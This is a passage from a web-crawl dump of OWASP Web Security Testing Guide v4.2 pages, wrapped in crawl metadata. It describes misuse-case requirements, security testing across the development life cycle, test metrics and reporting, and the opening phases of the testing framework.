vulnerability) and necessary countermeasures (e.g., implement data validation and parametrized queries) that could be validated to be effective in mitigating such attacks.\n\n### Deriving Security Test Requirements Through Use and Misuse Cases\n\nA prerequisite to describing the application functionality is to understand what the application is supposed to do and how. This can be done by describing use cases. Use cases, in the graphical form as is commonly used in software engineering, show the interactions of actors and their relations. They help to identify the actors in the application, their relationships, the intended sequence of actions for each scenario, alternative actions, special requirements, preconditions, and post-conditions.\n\nSimilar to use cases, misuse or abuse cases describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be maliciously exploited, potential flaws or aspects of the application that are not well defined can be discovered. The key is to describe all possible or, at least, the most critical use and misuse scenarios.\n\nMisuse scenarios allow the analysis of the application from the attacker’s point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to analyze them to determine which are the most critical and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls where security risks should be mitigated.\n\nTo derive security requirements from [both use and misuse cases](https://iacis.org/iis/2006/Damodaran.pdf), it is important to define the functional scenarios and the negative scenarios and put these in graphical form. The following example is a step-by-step methodology for the case of deriving security requirements for authentication.\n\n#### Step 1: Describe the Functional Scenario\n\nUser authenticates by supplying a username and password. The application grants access to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.\n\n#### Step 2: Describe the Negative Scenario\n\nAttacker breaks the authentication through a brute force or dictionary attack of passwords and account harvesting vulnerabilities in the application. The validation errors provide specific information to an attacker that is used to guess which accounts are valid registered accounts (usernames). The attacker then attempts to brute force the password for a valid account. A brute force attack on passwords with a minimum length of four digits can succeed with a limited number of attempts (i.e., 10\\^4).\n\n#### Step 3: Describe Functional and Negative Scenarios with Use and Misuse Case\n\nThe graphical example below depicts the derivation of security requirements via use and misuse cases. The functional scenario consists of the user actions (entering a username and password) and the application actions (authenticating the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e. trying to break authentication by brute forcing the password via a dictionary attack and by guessing the valid usernames from error messages. By graphically representing the threats to the user actions (misuses), it is possible to derive the countermeasures as the application actions that mitigate such threats.\n\n*Figure 2-5: Use and Misuse Case*\n\n#### Step 4: Elicit the Security Requirements\n\nIn this case, the following security requirements for authentication are derived:\n\n1. Passwords requirements must be aligned with the current standards for sufficient complexity.\n2. Accounts must be to locked out after five unsuccessful log in attempts.\n3. Log in error messages must be generic.\n\nThese security requirements need to be documented and tested.\n\n## Security Tests Integrated in Development and Testing Workflows\n\n### Security Testing in the Development Workflow\n\nSecurity testing during the development phase of the SDLC represents the first opportunity for developers to ensure that the individual software components they have developed are security tested before they are integrated with other components or built into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well as application programming interfaces, libraries, and executable files. For security testing, developers can rely on the results of the source code analysis to verify statically that the developed source code does not include potential vulnerabilities and is compliant with the secure coding standards. Security unit tests can further verify dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in the application build, the results of the static and dynamic analysis should be reviewed and validated.\n\nThe validation of source code before integration in application builds is usually the responsibility of the senior developer. Senior developers are often the subject matter experts in software security and their role is to lead the secure code review. They must make decisions on whether to accept the code to be released in the application build, or to require further changes and testing. This secure code review workflow can be enforced via formal acceptance, as well as a check in a workflow management tool. For example, assuming the typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a defect or change management system. The build master then can look at the test results reported by the developers in the tool, and grant approvals for checking in the code changes into the application build.\n\n### Security Testing in the Test Workflow\n\nAfter components and code changes are tested by developers and checked in to the application build, the most likely next step in the software development process workflow is to perform tests on the application as a whole entity. This level of testing is usually referred to as integrated test and system level test. When security tests are part of these testing activities, they can be used to validate both the security functionality of the application as a whole, as well as the exposure to application level vulnerabilities. These security tests on the application include both white-box testing, such as source code analysis, and black-box testing, such as penetration testing. Tests can also include gray-box testing, in which it is assumed that the tester has some partial knowledge about the application. For example, with some knowledge about the session management of the application, the tester can better understand whether the log out and timeout functions are properly secured.\n\nThe target for the security tests is the complete system that is vulnerable to attack. During this phase, it is possible for security testers to determine whether vulnerabilities can be exploited. These include common web application vulnerabilities, as well as security issues that have been identified earlier in the SDLC with other activities such as threat modeling, source code analysis, and secure code reviews.\n\nUsually, testing engineers, rather then software developers, perform security tests when the application is in scope for integration system tests. Testing engineers have security knowledge of web application vulnerabilities, black-box and white-box testing techniques, and own the validation of security requirements in this phase. In order to perform security tests, it is a prerequisite that security test cases are documented in the security testing guidelines and procedures.\n\nA testing engineer who validates the security of the application in the integrated system environment might release the application for testing in the operational environment (e.g., user acceptance tests). At this stage of the SDLC (i.e., validation), the application’s functional testing is usually a responsibility of QA testers, while white-hat hackers or security consultants are usually responsible for security testing. Some organizations rely on their own specialized ethical hacking team to conduct such tests when a third party assessment is not required (such as for auditing purposes).\n\nSince these tests can sometimes be the last line of defense for fixing vulnerabilities before the application is released to production, it is important that issues are addressed as recommended by the testing team. The recommendations can include code, design, or configuration change. At this level, security auditors and information security officers discuss the reported security issues and analyze the potential risks according to information risk management procedures. Such procedures might require the development team to fix all high risk vulnerabilities before the application can be deployed, unless such risks are acknowledged and accepted.\n\n### Developer’s Security Tests\n\n#### Security Testing in the Coding Phase: Unit Tests\n\nFrom the developer’s perspective, the main objective of security tests is to validate that code is being developed in compliance with secure coding standards requirements. Developers’ own coding artifacts (such as functions, methods, classes, APIs, and libraries) need to be functionally validated before being integrated into the application build.\n\nThe security requirements that developers have to follow should be documented in secure coding standards and validated with static and dynamic analysis. If the unit test activity follows a secure code review, unit tests can validate that code changes required by secure code reviews are properly implemented. Both secure code reviews and source code analysis through source code analysis tools can help developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging) developers can validate the security functionality of components as well as verify that the countermeasures being developed mitigate any security risks previously identified through threat modeling and source code analysis.\n\nA good practice for developers is to build security test cases as a generic security test suite that is part of the existing unit testing framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions, methods and classes. A generic security test suite might include security test cases to validate both positive and negative requirements for security controls such as:\n\n- Identity, authentication & access control\n- Input validation & encoding\n- Encryption\n- User and session management\n- Error and exception handling\n- Auditing and logging\n\nDevelopers empowered with a source code analysis tool integrated into their IDE, secure coding standards, and a security unit testing framework can assess and verify the security of the software components being developed. Security test cases can be run to identify potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting the components, these issues include authentication and authorization checks done by the component, protection of the data within the component, secure exception and error handling, and secure auditing and logging. Unit test frameworks such as JUnit, NUnit, and CUnit can be adapted to verify security test requirements. In the case of security functional tests, unit level tests can test the functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case could validate input and output validation (e.g., variable sanitation) and boundary checks for variables by asserting the expected functionality of the component.\n\nThe threat scenarios identified with use and misuse cases can be used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account lockout as well as the fact that user input parameters cannot be abused to bypass the account lockout (e.g., by setting the account lockout counter to a negative number).\n\nAt the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused by resources not being de-allocated (e.g., connection handles not closed within a final statement block), as well as potential elevation of privileges (e.g., higher privileges acquired before the exception is thrown and not re-set to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.\n\nUnit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is also responsible for validating that the security issues in the source code have been fixed and can be checked in to the integrated system build. Typically, the manager of the application builds also makes sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the application build.\n\nThreat scenarios for common vulnerabilities that have root causes in insecure coding can also be documented in the developer’s security testing guide. When a fix is implemented for a coding defect identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows the secure coding requirements documented in the secure coding standards.\n\nSource code analysis and unit tests can validate that the code change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis can also be used as automatic check-in gates for version control, for example, software artifacts cannot be checked into the build with high or medium severity coding issues.\n\n### Functional Testers’ Security Tests\n\n#### Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests\n\nThe main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the lack of input validation when calling a component integrated with the application is often a factor that can be tested with integration testing.\n\nThe integration system test environment is also the first environment where testers can simulate real attack scenarios as can be potentially executed by a malicious external or internal user of the application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example, a potential vulnerability found in source code can be rated as high risk because of the exposure to potential malicious users, as well as because of the potential impact (e.g., access to confidential information).\n\nReal attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are also referred to as ethical hacking tests. From the security testing perspective, these are risk-driven tests and have the objective of testing the application in the operational environment. The target is the application build that is representative of the version of the application being deployed into production.\n\nIncluding security testing in the integration and validation phase is critical to identifying vulnerabilities due to integration of components, as well as validating the exposure of such vulnerabilities. Application security testing requires a specialized set of skills, including both software and security knowledge, that are not typical of security engineers. As a result, organizations are often required to security-train their software developers on ethical hacking techniques, and security assessment procedures and tools. A realistic scenario is to develop such resources in-house and document them in security testing guides and procedures that take into account the developer’s security testing knowledge. A so called “security test cases cheat sheet or checklist”, for example, can provide simple test cases and attack vectors that can be used by testers to validate exposure to common vulnerabilities such as spoofing, information disclosures, buffer overflows, format strings, SQL injection and XSS injection, XML, SOAP, canonicalization issues, denial of service, and managed code and ActiveX controls (e.g., .NET). A first battery of these tests can be performed manually with a very basic knowledge of software security.\n\nThe first objective of security tests might be the validation of a set of minimum security requirements. These security test cases might consist of manually forcing the application into error and exceptional states and gathering knowledge from the application behavior. For example, SQL injection vulnerabilities can be tested manually by injecting attack vectors through user input, and by checking if SQL exceptions are thrown back to the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be exploited.\n\nA more in-depth security test might require the tester’s knowledge of specialized testing techniques and tools. Besides source code analysis and penetration testing, these techniques include, for example: source code and binary fault injection, fault propagation analysis and code coverage, fuzz testing, and reverse engineering. The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such in-depth security assessments.\n\nThe next level of security testing after integration system tests is to perform security tests in the user acceptance environment. There are unique advantages to performing security tests in the operational environment. The user acceptance test (UAT) environment is the one that is most representative of the release configuration, with the exception of the data (e.g., test data is used in place of real data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might represent high risks. For example, the server that hosts the web application might not be configured with minimum privileges, valid SSL certificate and secure configuration, essential services disabled, and web root directory cleaned of test and administration web pages.\n\n## Security Test Data Analysis and Reporting\n\n### Goals for Security Test Metrics and Measurements\n\nDefining the goals for the security testing metrics and measurements is a prerequisite for using security testing data for risk analysis and management processes. For example, a measurement, such as the total number of vulnerabilities found with security tests, might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing, for example, reducing the number of vulnerabilities to an acceptable minimum number before the application is deployed into production.\n\nAnother manageable goal could be to compare the application security posture against a baseline to assess improvements in application security processes. For example, the security metrics baseline might consist of an application that was tested only with penetration tests. The security data obtained from an application that was also security tested during coding should show an improvement (e.g., fewer vulnerabilities) when compared with the baseline.\n\nIn traditional software testing, the number of software defects, such as the bugs found in an application, could provide a measure of software quality. Similarly, security testing can provide a measure of software security. From the defect management and reporting perspective, software quality and security testing can use similar categorizations for root causes and defect remediation efforts. From the root cause perspective, a security defect can be due to an error in design (e.g., security flaws) or due to an error in coding (e.g., security bug). From the perspective of the effort required to fix a defect, both security and quality defects can be measured in terms of developer hours to implement the fix, the tools and resources required, and the cost to implement the fix.\n\nA characteristic of security test data, compared to quality data, is the categorization in terms of the threat, the exposure of the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that the application countermeasures meet acceptable levels. For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC. For example, vulnerabilities found in source code with source code analysis represent an initial measure of risk. A measure of risk (e.g., high, medium, low) for the vulnerability can be calculated by determining the exposure and likelihood factors, and by validating the vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at different levels within the organization (e.g., business as well as technical risks).\n\nWhen evaluating the security posture of an application, it is important to take into consideration certain factors, such as the size of the application being developed. Application size has been statistically proven to be related to the number of issues found in the application during testing. Since testing reduces issues, it is logical for larger size applications to be tested more often than smaller size applications.\n\nWhen security testing is done in several phases of the SDLC, the test data can prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced. The test data can also prove the effectiveness of removing the vulnerabilities by implementing countermeasures at different checkpoints of the SDLC. A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase. These containment metrics are also a critical factor in lowering the cost of fixing the vulnerabilities. It is less expensive to deal with vulnerabilities in the same phase of the SDLC that they are found, rather then fixing them later in another phase.\n\nSecurity test metrics can support security risk, cost, and defect management analysis when they are associated with tangible and timed goals such as:\n\n- Reducing the overall number of vulnerabilities by 30%.\n- Fixing security issues by a certain deadline (e.g., before beta release).\n\nSecurity test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative, such as the number of vulnerabilities detected in code reviews compared to penetration tests. To answer questions about the quality of the security process, it is important to determine a baseline for what could be considered acceptable and good.\n\nSecurity test data can also support specific objectives of the security analysis. These objectives could be compliance with security regulations and information security standards, management of security processes, the identification of security root causes and process improvements, and security cost benefit analysis.\n\nWhen security test data is reported, it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of test data to find clues about the security of the software being produced, as well as the effectiveness of the process.\n\nSome examples of clues supported by security test data can be:\n\n- Are vulnerabilities reduced to an acceptable level for release?\n- How does the security quality of this product compare with similar software products?\n- Are all security test requirements being met?\n- What are the major root causes of security issues?\n- How numerous are security flaws compared to security bugs?\n- Which security activity is most effective in finding vulnerabilities?\n- Which team is more productive in fixing security defects and vulnerabilities?\n- What percentage of overall vulnerabilities are high risk?\n- Which tools are most effective in detecting security vulnerabilities?\n- What kind of security tests are most effective in finding vulnerabilities (e.g., white-box vs. black-box) tests?\n- How many security issues are found during secure code reviews?\n- How many security issues are found during secure design reviews?\n\nIn order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well as the testing tools. A tool taxonomy should be adopted to decide which security tools to use. Security tools can be qualified as being good at finding common, known vulnerabilities, when targeting different artifacts.\n\nIt is important to note that unknown security issues are not tested. The fact that a security test is clear of issues does not mean that the software or application is good.\n\nEven the most sophisticated automation tools are not a match for an experienced security tester. Just relying on successful test results from automated tools will give security practitioners a false sense of security. Typically, the more experienced the security testers are with the security testing methodology and testing tools, the better the results of the security test and analysis will be. It is important that managers making an investment in security testing tools also consider an investment in hiring skilled human resources, as well as security test training.\n\n### Reporting Requirements\n\nThe security posture of an application can be characterized from the perspective of the effect, such as number of vulnerabilities and the risk rating of the vulnerabilities, as well as from the perspective of the cause or origin, such as coding errors, architectural flaws, and configuration issues.\n\nVulnerabilities can be classified according to different criteria. The most commonly used vulnerability severity metric is the [Common Vulnerability Scoring System](https://www.first.org/cvss/) (CVSS), a standard maintained by the Forum of Incident Response and Security Teams (FIRST).\n\nWhen reporting security test data, the best practice is to include the following information:\n\n- a categorization of each vulnerability by type;\n- the security threat that each issue is exposed to;\n- the root cause of each security issue, such as the bug or flaw;\n- each testing technique used to find the issues;\n- the remediation, or countermeasure, for each vulnerability; and\n- the severity rating of each vulnerability (e.g., high, medium, low, or CVSS score).\n\nBy describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.\n\nReporting the root cause of the issue can help pinpoint what needs to be fixed. In the case of white-box testing, for example, the software security root cause of the vulnerability will be the offending source code.\n\nOnce issues are reported, it is also important to provide guidance to the software developer on how to re-test and find the vulnerability. This might involve using a white-box testing technique (e.g., security code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black-box penetration test, the test report also needs to provide information on how to validate the exposure of the vulnerability to the front end (e.g., client).\n\nThe information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide secure coding examples, configuration changes, and provide adequate references.\n\nFinally, the severity rating contributes to the calculation of risk rating and helps to prioritize the remediation effort. Typically, assigning a risk rating to the vulnerability involves external risk analysis based upon factors such as impact and exposure.\n\n### Business Cases\n\nFor the security test metrics to be useful, they need to provide value back to the organization’s security test data stakeholders. The stakeholders can include project managers, developers, information security offices, auditors, and chief information officers. The value can be in terms of the business case that each project stakeholder has, in terms of role and responsibility.\n\nSoftware developers look at security test data to show that software is coded securely and efficiently. This allows them to make the case for using source code analysis tools, following secure coding standards, and attending software security training.\n\nProject managers look for data that allows them to successfully manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can show that projects are on schedule and moving on target for delivery dates, and are getting better during tests.\n\nSecurity test data also helps the business case for security testing if the initiative comes from information security officers (ISOs). For example, it can provide evidence that security testing during the SDLC does not impact the project delivery, but rather reduces the overall workload needed to address vulnerabilities later in production.\n\nTo compliance auditors, security test metrics provide a level of software security assurance and confidence that security standard compliance is addressed through the security review processes within the organization.\n\nFinally, Chief Information Officers (CIOs), and Chief Information Security Officers (CISOs), who are responsible for the budget that needs to be allocated in security resources, look for derivation of a cost-benefit analysis from security test data. This allows them to make informed decisions about which security activities and tools to invest in. One of the metrics that supports such analysis is the Return On Investment (ROI) in security. To derive such metrics from security test data, it is important to quantify the differential between the risk, due to the exposure of vulnerabilities, and the effectiveness of the security tests in mitigating the security risk, then factor this gap with the cost of the security testing activity or the testing tools adopted.\n\n## References\n\n- US National Institute of Standards (NIST) 2002 [survey on the cost of insecure software to the US economy due to inadequate software testing](https://www.nist.gov/director/planning/upload/report02-3.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 87523, "slov": 13194, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:43", "sha256": "8f8c72f048912cf3a3e9943b5fb1316295dea8657c10dba79ed3f7ac8323095a", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://isbnsearch.org/isbn/9780131717114", "https://en.wikiquote.org/wiki/Tom_DeMarco", "https://www.it-cisq.org/the-cost-of-poor-quality-software-in-the-us-a-2018-report/The-Cost-of-Poor-Quality-Software-in-the-US-2018-Report.pdf", "https://www.fnf.com/", "https://www.schneier.com/crypto-gram/archives/2000/0915.html", "https://www.symantec.com/security-center/threat-report", "https://www.opensamm.org/", "https://www.iso27001security.com/html/27034.html", "https://www.ftc.gov/tips-advice/business-center/privacy-and-security/gramm-leach-bliley-act", "https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=200120020SB1386", "https://ec.europa.eu/info/policies/justice-and-fundamental-rights_en", "https://gdpr-info.eu/", "https://ieeexplore.ieee.org/document/237006", "https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final", "https://ia600903.us.archive.org/11/items/pdfy-Qf4sZZSmHKQlHFfw/p761-thompson.pdf", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://www.garymcgraw.com/wp-content/uploads/2015/11/bsi6-pentest.pdf", "https://www.ffiec.gov/cyberassessmenttool.htm", "https://www.pcisecuritystandards.org/pci_security/", "https://github.com/OWASP/wstg/tree/master/checklist", "https://en.wikipedia.org/wiki/STRIDE_(security)", "https://iacis.org/iis/2006/Damodaran.pdf", "https://www.first.org/cvss/", "https://www.nist.gov/director/planning/upload/report02-3.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "3-The OWASP Testing Framework"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "The OWASP Testing Framework"}], "markdown": "# WSTG - v4.2\n\n# The OWASP Testing Framework\n\n3.1 [The Web Security Testing Framework](/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework)\n\n3.2 [Phase 1 Before Development Begins](/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-1-before-development-begins)\n\n3.3 [Phase 2 During Definition and Design](/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-2-during-definition-and-design)\n\n3.4 [Phase 3 During Development](/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-3-during-development)\n\n3.5 [Phase 4 During Deployment](/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-4-during-deployment)\n\n3.6 [Phase 5 During Maintenance and Operations](/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#phase-5-during-maintenance-and-operations)\n\n3.7 [A Typical SDLC Testing Workflow](/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework#a-typical-sdlc-testing-workflow)\n\n3.8 [Penetration Testing Methodologies](/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1538, "slov": 140, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:34", "sha256": "bffd457f21c62da4a738e99def1138cee9967641b293866a6f57d1635e2ee92e", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/0-The_Web_Security_Testing_Framework", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "3-The OWASP Testing Framework"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "The Web Security Testing Framework"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Phase 1 Before Development Begins"}, {"uroven": 3, "text": "Phase 1.1 Define a SDLC"}, {"uroven": 3, "text": "Phase 1.2 Review Policies and Standards"}, {"uroven": 3, "text": "Phase 1.3 Develop Measurement and Metrics Criteria and Ensure Traceability"}, {"uroven": 2, "text": "Phase 2 During Definition and Design"}, {"uroven": 3, "text": "Phase 2.1 Review Security Requirements"}, {"uroven": 3, "text": "Phase 2.2 Review Design and Architecture"}, {"uroven": 3, "text": "Phase 2.3 Create and Review UML Models"}, {"uroven": 3, "text": "Phase 2.4 Create and Review Threat Models"}, {"uroven": 2, "text": "Phase 3 During Development"}, {"uroven": 3, "text": "Phase 3.1 Code Walkthrough"}, {"uroven": 3, "text": "Phase 3.2 Code Reviews"}, {"uroven": 2, "text": "Phase 4 During Deployment"}, {"uroven": 3, "text": "Phase 4.1 Application Penetration Testing"}, {"uroven": 3, "text": "Phase 4.2 Configuration Management Testing"}, {"uroven": 2, "text": "Phase 5 During Maintenance and Operations"}, {"uroven": 3, "text": "Phase 5.1 Conduct Operational Management Reviews"}, {"uroven": 3, "text": "Phase 5.2 Conduct Periodic Health Checks"}, {"uroven": 3, "text": "Phase 5.3 Ensure Change Verification"}, {"uroven": 2, "text": "A Typical SDLC Testing Workflow"}], "markdown": "# WSTG - v4.2\n\n# The Web Security Testing Framework\n\n## Overview\n\nThis section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework comprised of techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework, and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s development process and culture.\n\nThis section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing.\n\nIt is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. In *Writing Secure Code*, Howard and LeBlanc note that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s [CyberCrime web site](https://www.justice.gov/criminal-ccips) details recent criminal cases and the loss to organizations. Typical losses far exceed USD $100,000.\n\nWith economics like this, it is little wonder why software vendors move from solely performing black-box security testing, which can only be performed on applications that have already been developed, to concentrating on testing in the early cycles of application development, such as during definition, design, and development.\n\nMany security practitioners still see security testing in the realm of penetration testing. As discussed in the previous chapter, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing security during the definition, design, development, deployment, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built.\n\nAs discussed in the introduction of this document, there are many development methodologies, such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology, nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.\n\nThis testing framework consists of activities that should take place:\n\n- Before development begins,\n- During definition and design,\n- During development,\n- During deployment, and\n- During maintenance and operations.\n\n## Phase 1 Before Development Begins\n\n### Phase 1.1 Define a SDLC\n\nBefore application development starts, an adequate SDLC must be defined where security is inherent at each stage.\n\n### Phase 1.2 Review Policies and Standards\n\nEnsure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow. People can only do the right thing if they know what the right thing is.\n\nIf the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.\n\n### Phase 1.3 Develop Measurement and Metrics Criteria and Ensure Traceability\n\nBefore development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.\n\n## Phase 2 During Definition and Design\n\n### Phase 2.1 Review Security Requirements\n\nSecurity requirements define how an application works from a security perspective. It is essential that the security requirements are tested. Testing in this case means testing the assumptions that are made in the requirements and testing to see if there are gaps in the requirements definitions.\n\nFor example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system or should the user be authenticated? Ensure that requirements are as unambiguous as possible.\n\nWhen looking for requirements gaps, consider looking at security mechanisms such as:\n\n- User management\n- Authentication\n- Authorization\n- Data confidentiality\n- Integrity\n- Accountability\n- Session management\n- Transport security\n- Tiered system segregation\n- Legislative and standards compliance (including privacy, government, and industry standards)\n\n### Phase 2.2 Review Design and Architecture\n\nApplications should have a documented design and architecture. This documentation can include models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements.\n\nIdentifying security flaws in the design phase is not only one of the most cost-efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (ie, fixing input validation in one place, rather than in hundreds of places, is far cheaper).\n\nIf weaknesses are discovered, they should be given to the system architect for alternative approaches.\n\n### Phase 2.3 Create and Review UML Models\n\nOnce the design and architecture is complete, build Unified Modeling Language (UML) models that describe how the application works. In some cases, these may already be available. Use these models to confirm with the systems designers an exact understanding of how the application works. If weaknesses are discovered, they should be given to the system architect for alternative approaches.\n\n### Phase 2.4 